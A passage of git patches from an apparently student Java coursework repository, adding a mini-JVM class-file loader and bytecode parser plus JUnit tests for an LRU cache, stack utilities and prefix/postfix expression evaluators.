+    }
+
+    public byte[] loadClassFile(String clzFileName){
+        File f = new File(clzFileName);
+        try {
+            return IOUtils.toByteArray(new FileInputStream(f));
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public void addClassPath(String path){
+        if(clzPaths.contains(path)){
+            return;
+        }
+        clzPaths.add(path);
+    }
+
+    public String getClassPath(){
+        return StringUtils.join(this.clzPaths,";");
+    }
+    public ClassFile loadClass(String className){
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParse parser = new ClassFileParse();
+        return parser.parse(codes);
+    }
+    public String getClassPath_V1(){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<this.clzPaths.size();i++){
+            sb.append(this.clzPaths.get(i));
+            if(i<this.clzPaths.size()-1){
+                sb.append(";");
+            }
+        }
+        return sb.toString();
+    }
+
+    public byte[] loadClassFile_V1(String clzFileName){
+        BufferedInputStream bis = null;
+        File f = new File(clzFileName);
+        try {
+            bis = new BufferedInputStream(new FileInputStream(f));
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+            byte[] buffer = new byte[1024];
+            int length = -1;
+            while ((length=bis.read(buffer))!=-1){
+                bos.write(buffer,0,length);
+            }
+            byte[] codes = bos.toByteArray();
+            return codes;
+        }  catch (IOException e) {
+            e.printStackTrace();
+        }finally {
+            if(bis!=null){
+                try {
+                    bis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileParse.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileParse.java
new file mode 100644
index 0000000000..e14e772672
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileParse.java
@@ -0,0 +1,140 @@
+package main.coding_170423.jvm.loader;
+
+import main.coding_170423.jvm.clz.AccessFlag;
+import main.coding_170423.jvm.clz.ClassFile;
+import main.coding_170423.jvm.clz.ClassIndex;
+import main.coding_170423.jvm.constant.*;
+import main.coding_170423.jvm.field.Field;
+import main.coding_170423.jvm.method.Method;
+
+import java.io.UnsupportedEncodingException;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileParse {
+    public ClassFile parse(byte[] codes){
+        ClassFile clzFile = new ClassFile();
+
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+
+        String magicNumber = iterator.nextU4ToHexString();
+
+        if(!"cafebabe".equals(magicNumber)){
+            return null;
+        }
+        clzFile.setMinorVersion(iterator.nextU2ToInt());
+        clzFile.setMajorVersion(iterator.nextU2ToInt());
+
+        ConstantPool pool = parseConstantPool(iterator);
+        clzFile.setConstantPool(pool);
+
+        AccessFlag flag = parseAccessFlag(iterator);
+        clzFile.setAccessFlag(flag);
+
+        parseInterfaces(iterator);
+
+        parseFields(clzFile,iterator);
+
+        parseMethods(clzFile,iterator);
+
+        return clzFile;
+    }
+
+    public AccessFlag parseAccessFlag(ByteCodeIterator iterator){
+        AccessFlag flag = new AccessFlag(iterator.nextU2ToInt());
+        return flag;
+    }
+
+    public ClassIndex parseClassIndex(ByteCodeIterator iterator){
+        int thisClassIndex = iterator.nextU2ToInt();
+        int superClassIndex = iterator.nextU2ToInt();
+
+        ClassIndex clzIndex = new ClassIndex();
+
+        clzIndex.setThisClassIndex(thisClassIndex);
+        clzIndex.setSuperClassIndex(superClassIndex);
+        return clzIndex;
+    }
+
+    public ConstantPool parseConstantPool(ByteCodeIterator iterator){
+        int constantPoolCount = iterator.nextU2ToInt();
+
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for(int i =1;i<=constantPoolCount-1;i++){
+            int tag = iterator.nextU1ToInt();
+            if(tag==7){
+                //Class Info
+                int utf8Index = iterator.nextU2ToInt();
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(utf8Index);
+
+                pool.addConstantInfo(classInfo);
+            }else if(tag==1){
+                //UTF-8 String
+                int len = iterator.nextU2ToInt();
+                byte[] data = iterator.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data,"UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setLength(len);
+                utf8Info.setValue(value);
+                pool.addConstantInfo(utf8Info);
+            }else if(tag==8){
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(info);
+            }else if(tag==9){
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iterator.nextU2ToInt());
+                field.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(field);
+            }else if(tag==10){
+                //MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iterator.nextU2ToInt());
+                method.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(method);
+            }else if(tag==12){
+                //Name and Type Info
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                nameAndTypeInfo.setIndexA(iterator.nextU2ToInt());
+                nameAndTypeInfo.setIndexB(iterator.nextU2ToInt());
+                pool.addConstantInfo(nameAndTypeInfo);
+            }else {
+                throw new RuntimeException("the constant pool tag "+tag+" has not implemented");
+            }
+        }
+        System.out.println("Finished reading Constant pool");
+
+        return pool;
+    }
+    public void parseInterfaces(ByteCodeIterator iterator){
+        int interfaxrCount = iterator.nextU2ToInt();
+        System.out.println("interfaceCount:"+interfaxrCount);
+        //如果实现了接口这里需要实现
+    }
+    public void parseFields(ClassFile clzFile, ByteCodeIterator iterator){
+        int fieldCount = iterator.nextU2ToInt();
+
+        for(int i=1;i<=fieldCount;i++){
+            Field f = Field.parse(clzFile.getConstantPool(),iterator);
+            clzFile.addField(f);
+        }
+    }
+
+    public void parseMethods(ClassFile clzfFile, ByteCodeIterator iterator){
+        int methodCount = iterator.nextU2ToInt();
+
+        for(int i=0;i<=methodCount;i++){
+            Method m = Method.parse(clzfFile,iterator);
+            clzfFile.addMethod(m);
+        }
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/method/Method.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/method/Method.java
new file mode 100644
index 0000000000..ba6b95dc5d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/method/Method.java
@@ -0,0 +1,83 @@
+package main.coding_170423.jvm.method;
+
+import main.coding_170423.jvm.attr.AttributeInfo;
+import main.coding_170423.jvm.attr.CodeAttr;
+import main.coding_170423.jvm.clz.ClassFile;
+import main.coding_170423.jvm.constant.ConstantPool;
+import main.coding_170423.jvm.constant.UTF8Info;
+import main.coding_170423.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Method {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+    private ClassFile clzFile;
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr codeAttr) {
+        this.codeAttr = codeAttr;
+    }
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex){
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+    @Override
+    public String toString() {
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder sb = new StringBuilder();
+
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        sb.append(name).append(":").append(desc).append("\n");
+        sb.append(this.codeAttr.toString(pool));
+
+        return sb.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iterator){
+        int accessFlag = iterator.nextU2ToInt();
+        int nameIndex = iterator.nextU2ToInt();
+        int descIndex = iterator.nextU2ToInt();
+        int attributeCount = iterator.nextU2ToInt();
+
+        Method m = new Method(clzFile,accessFlag,nameIndex,descIndex);
+
+        for(int i=1;i<attributeCount;i++){
+            int attrNameIndex = iterator.nextU2ToInt();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iterator.back(2);
+            if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+                CodeAttr codeAttr = CodeAttr.parse(clzFile,iterator);
+                m.setCodeAttr(codeAttr);
+            }else {
+                throw new RuntimeException("only Code attribute is implemented");
+            }
+        }
+        return  m;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/util/Util.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/util/Util.java
new file mode 100644
index 0000000000..6a54fdef07
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/util/Util.java
@@ -0,0 +1,25 @@
+package main.coding_170423.jvm.util;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Util {
+    public static int byteToInt(byte[] codes){
+        String s1 = byteToHexString(codes);
+        return Integer.valueOf(s1, 16).intValue();
+    }
+
+    public static String byteToHexString(byte[] codes){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b &0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()<2){
+                strHex = "0"+strHex;
+            }
+            sb.append(strHex);
+        }
+        return sb.toString();
+    }
+}

From 5674b89a5637cd98e6ceca6301e15466f547222d Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:10:05 +0800
Subject: [PATCH 111/262] =?UTF-8?q?0327=E6=B5=8B=E8=AF=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../tests/main/coding_170327/Employee.java    | 28 ++++++++++
 .../main/coding_170327/LRUPageFrameTest.java  | 35 ++++++++++++
 .../loader/ClassFileLoaderTest.java           | 54 +++++++++++++++++++
 3 files changed, 117 insertions(+)
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170327/Employee.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170327/LRUPageFrameTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170327/loader/ClassFileLoaderTest.java

diff --git a/group11/729245768/DataStructure/tests/main/coding_170327/Employee.java b/group11/729245768/DataStructure/tests/main/coding_170327/Employee.java
new file mode 100644
index 0000000000..29c364810d
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170327/Employee.java
@@ -0,0 +1,28 @@
+package main.coding_170327;
+
+/**
+ * Created by peter on 2017/4/20.
+ */
+public class Employee {
+    private String name;
+    private int age;
+    public Employee(String name,int age){
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+    public void sayHello(String name){
+        System.out.println("Hello, "+name);
+    }
+
+    public static void main(String[] args) {
+
+    }
+}
diff --git a/group11/729245768/DataStructure/tests/main/coding_170327/LRUPageFrameTest.java b/group11/729245768/DataStructure/tests/main/coding_170327/LRUPageFrameTest.java
new file mode 100644
index 0000000000..4a4e4b0a27
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170327/LRUPageFrameTest.java
@@ -0,0 +1,35 @@
+package main.coding_170327;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by peter on 2017/4/19.
+ */
+public class LRUPageFrameTest extends TestCase {
+    @Test
+    public void testAccess() throws Exception {
+        LRUPageFrame frame = new LRUPageFrame(3);
+        frame.access(7);
+        frame.access(0);
+        frame.access(1);
+        Assert.assertEquals("[1, 0, 7]", frame.toString());
+        frame.access(2);
+        Assert.assertEquals("[2, 1, 0]", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("[0, 2, 1]", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("[0, 2, 1]", frame.toString());
+        frame.access(3);
+        Assert.assertEquals("[3, 0, 2]", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("[0, 3, 2]", frame.toString());
+        frame.access(4);
+        Assert.assertEquals("[4, 0, 3]", frame.toString());
+        frame.access(5);
+        Assert.assertEquals("[5, 4, 0]", frame.toString());
+    }
+
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170327/loader/ClassFileLoaderTest.java b/group11/729245768/DataStructure/tests/main/coding_170327/loader/ClassFileLoaderTest.java
new file mode 100644
index 0000000000..4cbdc85daf
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170327/loader/ClassFileLoaderTest.java
@@ -0,0 +1,54 @@
+package main.coding_170327.loader;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by peter on 2017/4/20.
+ */
+public class ClassFileLoaderTest extends TestCase {
+    public static final String FULL_QUALIFIED_CLASS_NAME = "main/coding_170327/Employee";
+    static String path1 = "E:\\IDEASpace\\coding2017\\group11\\729245768\\DataStructure\\tests";
+    static String path2 = "C:\temp";
+
+    @Test
+    public void testClassPath(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+        Assert.assertEquals(path1+";"+path2,loader.getClassPath());
+    }
+    @Test
+    public void testClassFileLength(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "main.coding_170327.Employee";
+        byte[] codes = loader.readBinaryCodes(className);
+        Assert.assertEquals(891,codes.length);
+    }
+    @Test
+    public void testMagicNumber(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "main.coding_170327.Employee";
+        byte[] codes = loader.readBinaryCodes(className);
+        byte[] magicNumbers = new byte[]{codes[0],codes[1],codes[2],codes[3]};
+        String magic = byteToHexString(magicNumbers);
+        Assert.assertEquals("cafebabe",magic);
+    }
+
+    private String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+}
\ No newline at end of file

From ab109972ec51161d78ac20f7f5b6985f06f49bb7 Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:11:04 +0800
Subject: [PATCH 112/262] =?UTF-8?q?jvm=E7=AC=AC=E4=B8=80=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=B5=8B=E8=AF=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../main/coding_170409/StackUtilTest.java     | 63 +++++++++++++++++++
 .../jvm/loader/ClassFileParseTest.java        | 25 ++++++++
 .../coding_170409/jvm/loader/Employee.java    | 28 +++++++++
 3 files changed, 116 insertions(+)
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170409/StackUtilTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/ClassFileParseTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/Employee.java

diff --git a/group11/729245768/DataStructure/tests/main/coding_170409/StackUtilTest.java b/group11/729245768/DataStructure/tests/main/coding_170409/StackUtilTest.java
new file mode 100644
index 0000000000..0095b28acd
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170409/StackUtilTest.java
@@ -0,0 +1,63 @@
+package main.coding_170409;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.Stack;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class StackUtilTest extends TestCase {
+    @Test
+    public void testReverse() throws Exception {
+        Stack<Integer> stack = new Stack<>();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        StackUtil.reverse(stack);
+        Assert.assertArrayEquals(new Integer[]{3,2,1},new Integer[]{stack.pop(),stack.pop(),stack.pop()});
+    }
+
+    @Test
+    public void testAddToBottom() throws Exception {
+        Stack<Integer> stack = new Stack<>();
+        stack.push(1);
+        stack.push(2);
+        StackUtil.addToBottom(stack,1);
+        Assert.assertEquals(1,stack.peek().intValue());
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+        Stack<Integer> stack = new Stack<>();
+        stack.push(10);
+        stack.push(20);
+        stack.push(30);
+        StackUtil.remove(stack,20);
+        Assert.assertEquals(2,stack.size());
+    }
+
+    @Test
+    public void testGetTop() throws Exception {
+        Stack<Integer> stack = new Stack<>();
+        stack.push(10);
+        stack.push(15);
+        stack.push(21);
+        stack.push(19);
+        stack.push(89);
+        StackUtil.getTop(stack,2);
+        Assert.assertEquals(3,stack.size());
+    }
+
+    @Test
+    public void testIsValidPairs() throws Exception {
+        String s1 = "([e{d}f])";
+        String s2 = "([b{x]y})";
+        Assert.assertTrue(StackUtil.isValidPairs(s1));
+        Assert.assertFalse(StackUtil.isValidPairs(s2));
+
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/ClassFileParseTest.java b/group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/ClassFileParseTest.java
new file mode 100644
index 0000000000..57f922caf4
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/ClassFileParseTest.java
@@ -0,0 +1,25 @@
+package main.coding_170409.jvm.loader;
+
+import junit.framework.TestCase;
+import main.coding_170409.jvm.constant.ConstantPool;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class ClassFileParseTest extends TestCase {
+    static String path1 = "E:\\IDEASpace\\coding2017\\group11\\729245768\\DataStructure\\tests";
+
+    @Test
+    public void testParse() throws Exception {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String clzName = "main.coding_170409.Employee";
+        byte[] codes = loader.readBinaryCode(clzName);
+        ClassFileParse parse = new ClassFileParse();
+        ConstantPool pool = parse.parse(codes);
+        Assert.assertEquals(54,pool.getSizes());
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/Employee.java b/group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/Employee.java
new file mode 100644
index 0000000000..98cf9bb578
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170409/jvm/loader/Employee.java
@@ -0,0 +1,28 @@
+package main.coding_170409.jvm.loader;
+
+/**
+ * Created by peter on 2017/4/20.
+ */
+public class Employee {
+    private String name;
+    private int age;
+    public Employee(String name, int age){
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+    public void sayHello(String name){
+        System.out.println("Hello, "+name);
+    }
+
+    public static void main(String[] args) {
+
+    }
+}

From b3f641814990fbd31888b1293e08e3e6c90f244c Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:12:04 +0800
Subject: [PATCH 113/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=8C=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=B5=8B=E8=AF=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../tests/main/coding_170416/Employee.java    | 28 +++++++++++++
 .../main/coding_170416/InfixExprTest.java     | 17 ++++++++
 .../jvm/loader/ClassFileParseTest.java        | 42 +++++++++++++++++++
 3 files changed, 87 insertions(+)
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170416/Employee.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170416/InfixExprTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170416/jvm/loader/ClassFileParseTest.java

diff --git a/group11/729245768/DataStructure/tests/main/coding_170416/Employee.java b/group11/729245768/DataStructure/tests/main/coding_170416/Employee.java
new file mode 100644
index 0000000000..267ce99495
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170416/Employee.java
@@ -0,0 +1,28 @@
+package main.coding_170416;
+
+/**
+ * Created by peter on 2017/4/20.
+ */
+public class Employee {
+    private String name;
+    private int age;
+    public Employee(String name, int age){
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+    public void sayHello(String name){
+        System.out.println("Hello, "+name);
+    }
+
+    public static void main(String[] args) {
+
+    }
+}
diff --git a/group11/729245768/DataStructure/tests/main/coding_170416/InfixExprTest.java b/group11/729245768/DataStructure/tests/main/coding_170416/InfixExprTest.java
new file mode 100644
index 0000000000..90de74d213
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170416/InfixExprTest.java
@@ -0,0 +1,17 @@
+package main.coding_170416;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class InfixExprTest extends TestCase {
+    @Test
+    public void testEvalute() throws Exception {
+        InfixExpr infixExpr = new InfixExpr("2+10*2-14/2");
+        Assert.assertEquals(15,infixExpr.evalute(),0.001f);
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170416/jvm/loader/ClassFileParseTest.java b/group11/729245768/DataStructure/tests/main/coding_170416/jvm/loader/ClassFileParseTest.java
new file mode 100644
index 0000000000..f519d09a46
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170416/jvm/loader/ClassFileParseTest.java
@@ -0,0 +1,42 @@
+package main.coding_170416.jvm.loader;
+
+import junit.framework.TestCase;
+import main.coding_170416.jvm.clz.ClassFile;
+import main.coding_170416.jvm.field.Field;
+import main.coding_170416.jvm.method.Method;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class ClassFileParseTest extends TestCase {
+    static String path1 = "E:\\IDEASpace\\coding2017\\group11\\729245768\\DataStructure\\tests";
+
+    static ClassFile clzFile = null;
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "main.coding_170416.Employee";
+        clzFile = loader.loadClass(className);
+    }
+
+    @Test
+    public void testParseFields() throws Exception {
+        List<Field> fields = clzFile.getFields();
+        Assert.assertEquals(2,fields.size());
+        Field f1 = fields.get(0);
+        Assert.assertEquals("name:Ljava/lang/String;", f1.toString());
+        Field f2 = fields.get(1);
+        Assert.assertEquals("age:;I", f2.toString());
+    }
+
+    @Test
+    public void testParseMethods() throws Exception {
+        List<Method> methods = clzFile.getMethods();
+        Assert.assertEquals(5,methods.size());
+    }
+
+}
\ No newline at end of file

From 645e8636351381625f7c62a401194db156528b69 Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:13:10 +0800
Subject: [PATCH 114/262] =?UTF-8?q?jvm=E7=AC=AC=E4=B8=89=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E6=B5=8B=E8=AF=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../main/coding_170423/PostfixExprTest.java   | 21 +++++++++++++++++++
 .../main/coding_170423/PrefixExprTest.java    | 17 +++++++++++++++
 2 files changed, 38 insertions(+)
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170423/PostfixExprTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170423/PrefixExprTest.java

diff --git a/group11/729245768/DataStructure/tests/main/coding_170423/PostfixExprTest.java b/group11/729245768/DataStructure/tests/main/coding_170423/PostfixExprTest.java
new file mode 100644
index 0000000000..9630beb57a
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170423/PostfixExprTest.java
@@ -0,0 +1,21 @@
+package main.coding_170423;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class PostfixExprTest extends TestCase {
+    @Test
+    public void testEvaluate() throws Exception {
+        PostfixExpr post1 = new PostfixExpr("3 4 + 5 * 6 -");
+        Assert.assertEquals(29,post1.evaluate(),0.001f);
+
+        PostfixExpr post2 = new PostfixExpr("2 8 4 / + 5 -");
+        Assert.assertEquals(-1,post2.evaluate(),0.001f);
+
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170423/PrefixExprTest.java b/group11/729245768/DataStructure/tests/main/coding_170423/PrefixExprTest.java
new file mode 100644
index 0000000000..a258260bef
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170423/PrefixExprTest.java
@@ -0,0 +1,17 @@
+package main.coding_170423;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class PrefixExprTest extends TestCase {
+    @Test
+    public void testEvaluate() throws Exception {
+        PrefixExpr pre = new PrefixExpr("- * + 3 4 5 6");
+        Assert.assertEquals(29,pre.evaluate(),0.001f);
+    }
+
+}
\ No newline at end of file

From fdbc3140da5205681a1117ac85b1c8e9f96d16b6 Mon Sep 17 00:00:00 2001
From: James <1310368322@qq.com>
Date: Sun, 23 Apr 2017 21:38:12 +0800
Subject: [PATCH 115/262] seven

---
 .../com/coderising/jvm/cmd/BiPushCmd.java     |  18 +++
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 126 +++++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java | 149 ++++++++++++++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  18 +++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  17 ++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  18 +++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  17 ++
 .../com/coderising/jvm/cmd/LdcCmd.java        |  28 ++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  17 ++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  22 +++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  25 +++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  18 +++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  78 +++++++++
 .../jvm/print/ClassFilePrinter.java           |  44 ++++++
 .../jvm/print/ConstantPoolPrinter.java        |  82 ++++++++++
 .../InfixToPostfix.java                       |  63 ++++++++
 .../PostFixExpr.java                          |  47 ++++++
 .../PreFixExpr.java                           |  60 +++++++
 .../TestIntegerValueOf.java                   |   8 +
 .../dataStructure_7_PreAndPost/Token.java     |  66 ++++++++
 .../TokenParser.java                          |  55 +++++++
 21 files changed, 976 insertions(+)
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetFieldCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/InfixToPostfix.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PostFixExpr.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/PreFixExpr.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TestIntegerValueOf.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/Token.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_7_PreAndPost/TokenParser.java

diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..a211b332a4
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.cmd;
+
